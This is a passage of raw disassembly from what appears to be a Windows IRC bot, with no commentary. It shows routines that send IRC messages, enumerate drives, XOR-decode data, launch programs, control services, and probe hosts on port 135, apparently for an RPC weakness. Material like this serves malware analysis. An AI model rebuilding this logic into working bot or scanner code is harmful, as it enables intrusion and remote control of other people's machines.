near ptr 2640000h nop cmp eax, edi mov [ebp+var_20], eax jnb short loc_40CBB8 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_42E5E4 push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CB9B push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CB9B: ; CODE XREF: sub_40CAF1+88j lea eax, [ebp+var_510] push eax call sub_40BF6D push [ebp+var_48] call sub_417076 pop ecx pop ecx push esi nop call near ptr 25F0320h loc_40CBB8: ; CODE XREF: sub_40CAF1+68j xor edi, edi nop call near ptr 25F085Ah mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_417B89 pop ecx mov [ebp+var_1C], eax loc_40CBD2: ; CODE XREF: sub_40CAF1+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_43F580 cmp [ebp+var_34], esi jz short loc_40CC16 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_40CFE3 pop ecx pop ecx loc_40CC16: ; CODE XREF: sub_40CAF1+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] nop call near ptr 2630000h cmp edi, ebx jnb short loc_40CC54 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40CC3E mov eax, [ebp+arg_0] loc_40CC3E: ; CODE XREF: sub_40CAF1+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_417390 add esp, 0Ch loc_40CC54: ; CODE XREF: sub_40CAF1+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40CC61 cmp edi, [ebp+var_3C] ja short loc_40CCAB loc_40CC61: ; CODE XREF: sub_40CAF1+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_40CC7B shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E59C jmp short loc_40CC8B ; --------------------------------------------------------------------------- loc_40CC7B: ; CODE XREF: sub_40CAF1+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E55C loc_40CC8B: ; CODE XREF: sub_40CAF1+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_444EC0 push eax call sub_4172AE add esp, 10h cmp [ebp+arg_0], esi ja loc_40CBD2 loc_40CCAB: ; CODE XREF: sub_40CAF1+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40CD00 cmp edi, [ebp+var_3C] jz short loc_40CD00 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_42E518 push eax call sub_4172AE push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD00: ; CODE XREF: sub_40CAF1+1C4j ; sub_40CAF1+1C9j nop call near ptr 25F085Ah sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call near ptr 2621906h nop push [ebp+var_1C] call sub_417C3B cmp [ebp+var_38], esi pop ecx jz short loc_40CD8A lea eax, [ebp+var_148] push eax call sub_40C259 cmp eax, [ebp+var_38] pop ecx jz short loc_40CD8A push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_42E4E0 push eax call sub_4172AE push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD8A: ; CODE XREF: sub_40CAF1+241j ; sub_40CAF1+253j cmp [ebp+var_14], esi jz loc_40CFCA cmp [ebp+var_44], 1 jz loc_40CE85 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E498 push eax call sub_4172AE add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CE05 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CE05: ; CODE XREF: sub_40CAF1+2F2j lea eax, [ebp+var_510] push eax call sub_40BF6D cmp [ebp+var_40], 1 pop ecx jnz loc_40CFCA push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_43F5DC cmp [ebp+var_30], esi jnz loc_40CFCA lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_42E464 push eax call sub_4172AE push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 24h jmp loc_40CFCA ; --------------------------------------------------------------------------- loc_40CE85: ; CODE XREF: sub_40CAF1+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E414 push eax call sub_4172AE add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CEED push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CEED: ; CODE XREF: sub_40CAF1+3DAj lea eax, [ebp+var_510] push eax call sub_40BF6D push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_417330 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_43C80C push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi call near ptr 2750604h nop cmp eax, edi jnz short loc_40CF6F call dword_43F5C8 call sub_40AC42 push esi call near ptr 77E75CB5h nop loc_40CF6F: ; CODE XREF: sub_40CAF1+46Aj lea eax, [ebp+var_148] push eax push offset unk_42E3CC jmp short loc_40CF89 ; --------------------------------------------------------------------------- loc_40CF7D: ; CODE XREF: sub_40CAF1+45j lea eax, [ebp+var_248] push eax push offset unk_42E390 loc_40CF89: ; CODE XREF: sub_40CAF1+48Aj lea eax, [ebp+var_510] push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CFBD push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CFBD: ; CODE XREF: sub_40CAF1+4AAj lea eax, [ebp+var_510] push eax call sub_40BF6D pop ecx loc_40CFCA: ; CODE XREF: sub_40CAF1+29Cj ; sub_40CAF1+325j ... push [ebp+var_18] call dword_43F69C push [ebp+var_48] call sub_417076 pop ecx push esi nop call near ptr 25F0320h sub_40CAF1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40CFE3 proc near ; CODE XREF: sub_40CAF1+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40CFFF loc_40CFEF: ; CODE XREF: sub_40CFE3+1Aj mov dl, byte_42F5C4 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40CFEF locret_40CFFF: ; CODE XREF: sub_40CFE3+Aj retn sub_40CFE3 endp ; =============== S U B R O U T I N E ======================================= sub_40D000 proc near ; CODE XREF: sub_40EE72+2A7Ep ; sub_40EE72+2BA4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4197F9 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40D000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D01A proc near ; CODE XREF: sub_406387+458p ; sub_406387+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_443A38 push 0 push edi call sub_417330 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40D03F: ; CODE XREF: sub_40D01A+5Bj ; sub_40D01A+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_4191D0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_419250 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40D07D inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40D03F mov byte ptr [esi], 2Ch inc esi jmp short loc_40D03F ; --------------------------------------------------------------------------- loc_40D07D: ; CODE XREF: sub_40D01A+4Bj dec esi mov eax, edi loc_40D080: ; CODE XREF: sub_40D01A+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40D08F mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40D080 ; --------------------------------------------------------------------------- loc_40D08F: ; CODE XREF: sub_40D01A+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40D01A endp ; =============== S U B R O U T I N E ======================================= sub_40D099 proc near ; CODE XREF: sub_40D24E+51p ; sub_40D24E+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43F6C8 sub eax, 0 jz short loc_40D0DC dec eax jz short loc_40D0D6 dec eax dec eax jz short loc_40D0D0 dec eax jz short loc_40D0CA dec eax jz short loc_40D0C4 dec eax jz short loc_40D0BE mov eax, offset word_42DDD0 retn ; --------------------------------------------------------------------------- loc_40D0BE: ; CODE XREF: sub_40D099+1Dj mov eax, offset off_42E644 retn ; --------------------------------------------------------------------------- loc_40D0C4: ; CODE XREF: sub_40D099+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40D0CA: ; CODE XREF: sub_40D099+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40D0D0: ; CODE XREF: sub_40D099+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40D0D6: ; CODE XREF: sub_40D099+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40D0DC: ; CODE XREF: sub_40D099+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40D099 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0E2 proc near ; CODE XREF: sub_40D12A+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43F564 test eax, eax jz short loc_40D117 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_40D117: ; CODE XREF: sub_40D0E2+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D0E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D12A proc near ; CODE XREF: sub_40B8D8+1F3p ; sub_40D24E+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40D0E2 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40D208 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_419840 push edx push eax call sub_40D01A pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41782A add esp, 10h pop ebx jmp short loc_40D23A ; --------------------------------------------------------------------------- loc_40D208: ; CODE XREF: sub_40D12A+2Cj ; sub_40D12A+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_4172AE pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_4172AE pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_4172AE pop ecx pop ecx loc_40D23A: ; CODE XREF: sub_40D12A+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D12A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D24E proc near ; CODE XREF: sub_40D320+17p ; sub_40D320+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_4176D0 add esp, 10h test eax, eax jnz short loc_40D2C1 push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E6A4 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 14h jmp short loc_40D2F5 ; --------------------------------------------------------------------------- loc_40D2C1: ; CODE XREF: sub_40D24E+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E658 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 20h loc_40D2F5: ; CODE XREF: sub_40D24E+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_500] push eax call sub_40BF6D add esp, 18h pop edi pop esi pop ebx leave retn sub_40D24E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D320 proc near ; CODE XREF: sub_40EE72+57EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40D341 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h jmp short loc_40D3A2 ; --------------------------------------------------------------------------- loc_40D341: ; CODE XREF: sub_40D320+9j push esi push edi push ebx push ebx call dword_43F5D8 lea esi, [eax+2] push esi call sub_417B89 pop ecx mov edi, eax push edi push esi call dword_43F5D8 cmp [edi], bl mov esi, edi jz short loc_40D399 loc_40D365: ; CODE XREF: sub_40D320+77j push offset aA_0 ; "A:\\" push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40D388 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h loc_40D388: ; CODE XREF: sub_40D320+54j push esi call sub_417AB0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40D365 loc_40D399: ; CODE XREF: sub_40D320+43j push edi call sub_417C3B pop ecx pop edi pop esi loc_40D3A2: ; CODE XREF: sub_40D320+1Fj pop ebx pop ebp retn sub_40D320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3A5 proc near ; DATA XREF: ___:0040E6BAo var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_4450CC call dword_43F700 call sub_416F23 call dword_43F5C8 call dword_43F5C8 mov ebx, dword_424064 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_417330 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43C80C mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2600552h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2650000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2750604h test eax, eax jz short loc_40D46A push 64h call ebx push [ebp+var_10] mov esi, dword_424078 call esi push [ebp+var_C] call esi loc_40D46A: ; CODE XREF: sub_40D3A5+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_443A70 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call near ptr 77E75CB5h nop pop edi pop esi pop ebx sub_40D3A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D48D proc near ; CODE XREF: sub_40D4C5+125p ; sub_40D4C5+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40D4BB loc_40D49E: ; CODE XREF: sub_40D48D+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_4198F0 add esp, 0Ch test eax, eax jz short loc_40D4C1 inc esi cmp esi, edi jl short loc_40D49E loc_40D4BB: ; CODE XREF: sub_40D48D+Fj xor al, al loc_40D4BD: ; CODE XREF: sub_40D48D+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40D4C1: ; CODE XREF: sub_40D48D+27j mov al, 1 jmp short loc_40D4BD sub_40D48D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4C5 proc near ; CODE XREF: sub_402DD7+8Bp ; sub_402DD7+174p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_417B30 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_40D506 dec eax jz short loc_40D4E4 dec eax loc_40D4DE: ; CODE XREF: sub_40D4C5+57j xor eax, eax loc_40D4E0: ; CODE XREF: sub_40D4C5+3Fj ; sub_40D4C5+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_40D4E4: ; CODE XREF: sub_40D4C5+16j push 3 push 1388h push [ebp+arg_0] call dword_43F6A8 push eax call sub_4076CA add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_40D4E0 ; --------------------------------------------------------------------------- loc_40D506: ; CODE XREF: sub_40D4C5+13j push 6 push 1 push 2 call dword_43F6E8 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_40D4DE push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_43F668 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_43F610 cmp eax, edi jz loc_40D622 push ebx push 48h push offset dword_42E6F4 push esi call dword_43F6B8 cmp eax, edi jz loc_40D622 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43F680 cmp eax, edi jz loc_40D622 cmp [ebp+var_200E], 0Ch jnz short loc_40D622 push ebx push 18h push offset dword_42E740 push [ebp+arg_4] call dword_43F6B8 cmp eax, edi jz short loc_40D622 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43F680 mov esi, eax cmp esi, edi jz short loc_40D622 cmp [ebp+var_200E], 2 jnz short loc_40D622 push 10h push offset loc_42E75C lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h test al, al jz short loc_40D602 cmp esi, 12Ch setnl bl inc ebx jmp short loc_40D622 ; --------------------------------------------------------------------------- loc_40D602: ; CODE XREF: sub_40D4C5+12Fj push 10h push offset dword_42E770 lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_40D622: ; CODE XREF: sub_40D4C5+9Bj ; sub_40D4C5+B2j ... push [ebp+arg_4] call dword_43F700 mov eax, ebx pop ebx jmp loc_40D4E0 sub_40D4C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D633 proc near ; CODE XREF: sub_40ECFA+3Dp ; sub_40EE72+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_4193FF add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43F6B8 leave retn sub_40D633 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D679 proc near ; CODE XREF: sub_401000+8Bp ; sub_40144A+76p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40D694 mov edi, offset aPrivmsg ; "PRIVMSG" loc_40D694: ; CODE XREF: sub_40D679+14j push edi call sub_417AB0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_417AB0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_42E784 push eax call sub_4172AE add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43F6B8 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40D717 push 7D0h nop call near ptr 26004EDh locret_40D717: ; CODE XREF: sub_40D679+91j leave retn sub_40D679 endp ; =============== S U B R O U T I N E ======================================= sub_40D719 proc near ; CODE XREF: sub_40EE72:loc_410F84p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40D771 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_42E7A8[esi] push edi push eax call sub_40D793 add esp, 14h test eax, eax jnz short loc_40D761 push edi push off_42E7A4[esi] push offset dword_42E8D4 loc_40D751: ; CODE XREF: sub_40D719+56j mov esi, offset dword_444138 push esi call sub_4172AE add esp, 10h jmp short loc_40D78E ; --------------------------------------------------------------------------- loc_40D761: ; CODE XREF: sub_40D719+2Aj push eax call sub_40D835 pop ecx push eax push edi push offset dword_42E89C jmp short loc_40D751 ; --------------------------------------------------------------------------- loc_40D771: ; CODE XREF: sub_40D719+Cj lea eax, [eax+eax*2] mov esi, offset dword_444138 push off_42E7A0[eax*4] push offset dword_42E868 push esi call sub_4172AE add esp, 0Ch loc_40D78E: ; CODE XREF: sub_40D719+46j mov eax, esi pop edi pop esi retn sub_40D719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D793 proc near ; CODE XREF: sub_40D719+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_43F65C mov edi, eax cmp edi, ebx jnz short loc_40D7BA nop call near ptr 264030Ch mov ebx, eax jmp short loc_40D82F ; --------------------------------------------------------------------------- loc_40D7BA: ; CODE XREF: sub_40D793+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_43F550 mov esi, eax cmp esi, ebx jnz short loc_40D7DA nop call near ptr 264030Ch mov ebx, eax jmp short loc_40D827 ; --------------------------------------------------------------------------- loc_40D7DA: ; CODE XREF: sub_40D793+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40D80D cmp eax, 3 jz short loc_40D7FE jle short loc_40D820 cmp eax, 6 jg short loc_40D820 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_43F5B8 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D7FE: ; CODE XREF: sub_40D793+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_43F558 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D80D: ; CODE XREF: sub_40D793+4Dj push esi call dword_43F5BC loc_40D814: ; CODE XREF: sub_40D793+69j ; sub_40D793+78j test eax, eax jnz short loc_40D820 nop call near ptr 264030Ch mov ebx, eax loc_40D820: ; CODE XREF: sub_40D793+54j ; sub_40D793+59j ... push esi call dword_43F56C loc_40D827: ; CODE XREF: sub_40D793+45j push edi call dword_43F56C pop esi loc_40D82F: ; CODE XREF: sub_40D793+25j mov eax, ebx pop edi pop ebx leave retn sub_40D793 endp ; =============== S U B R O U T I N E ======================================= sub_40D835 proc near ; CODE XREF: sub_40D719+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40D8EA jz loc_40D8E3 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40D8AD jz short loc_40D8A3 mov ecx, eax sub ecx, 3 jz short loc_40D899 dec ecx dec ecx jz short loc_40D88F dec ecx jz short loc_40D885 sub ecx, 51h jz short loc_40D87B sub ecx, 24h jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D87B: ; CODE XREF: sub_40D835+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D885: ; CODE XREF: sub_40D835+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D88F: ; CODE XREF: sub_40D835+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D899: ; CODE XREF: sub_40D835+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8A3: ; CODE XREF: sub_40D835+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8AD: ; CODE XREF: sub_40D835+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40D8DC dec ecx jz short loc_40D8D5 dec ecx jz short loc_40D8CE dec ecx jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp 